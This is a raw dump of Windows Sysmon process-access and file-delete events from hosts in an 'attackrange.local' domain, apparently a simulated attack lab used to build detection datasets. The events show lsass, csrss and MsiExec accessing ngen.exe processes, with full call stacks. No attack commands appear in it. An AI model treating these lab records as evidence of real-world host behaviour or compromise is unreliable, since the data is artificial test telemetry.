14:43:44.100{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-7D07-00000000F001}496c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.085{7BD73061-6F20-613B-7E07-00000000F001}39325092C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-7D07-00000000F001}496c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.085{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-7E07-00000000F001}3932C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.069{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-7D07-00000000F001}496c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.069{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-7D07-00000000F001}496c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.069{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-7B07-00000000F001}4740c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.069{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-7B07-00000000F001}4740c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.054{7BD73061-6F20-613B-7C07-00000000F001}2768912C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-7B07-00000000F001}4740c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.038{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-7C07-00000000F001}2768C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.038{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-7B07-00000000F001}4740c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.038{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-7B07-00000000F001}4740c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.022{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-7907-00000000F001}5312c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.022{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-7907-00000000F001}5312c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.007{7BD73061-6F20-613B-7A07-00000000F001}4766796C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-7907-00000000F001}5312c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.007{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-7A07-00000000F001}476C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.991{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-7907-00000000F001}5312c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.991{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-7907-00000000F001}5312c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 23542300x800000000000000013769Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:45.457{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C5B4D85E8BCF2EAFFD99793AE7B90FED,SHA256=B8DA89065749DE451E81270139FC36891B2BFC7056AADE45F528F8F28B5D4182,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.988{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-D907-00000000F001}6268c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.988{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-D907-00000000F001}6268c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.957{7BD73061-6F21-613B-DA07-00000000F001}34206324C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-D907-00000000F001}6268c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.957{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-DA07-00000000F001}3420C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.942{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-D907-00000000F001}6268c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.942{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-D907-00000000F001}6268c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.942{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-D707-00000000F001}5116c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.942{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-D707-00000000F001}5116c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.928{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-039MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.913{7BD73061-6F21-613B-D807-00000000F001}51605816C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-D707-00000000F001}5116c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.913{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-D807-00000000F001}5160C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.913{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-D707-00000000F001}5116c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.913{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-D707-00000000F001}5116c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.897{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-D507-00000000F001}6596c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 